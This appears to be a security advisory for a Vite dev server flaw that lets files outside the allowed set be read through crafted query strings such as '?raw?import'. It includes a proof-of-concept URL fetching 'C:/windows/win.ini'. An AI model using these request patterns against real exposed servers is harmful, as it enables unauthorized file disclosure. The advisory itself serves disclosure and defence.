### SummaryThe contents of arbitrary files can be returned to the browser.### ImpactOnly apps explicitly exposing the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.### Details- base64 encoded content of non-allowed files is exposed using `?inline&import` (originally reported as `?import&?inline=1.wasm?init`)- content of non-allowed files is exposed using `?raw?import``/@fs/` isn't needed to reproduce the issue for files inside the project root.### PoCOriginal report (check details above for simplified cases):The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice```$ npm create vite@latest$ cd vite-project/$ npm install$ npm run dev```Example full URL `http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init`
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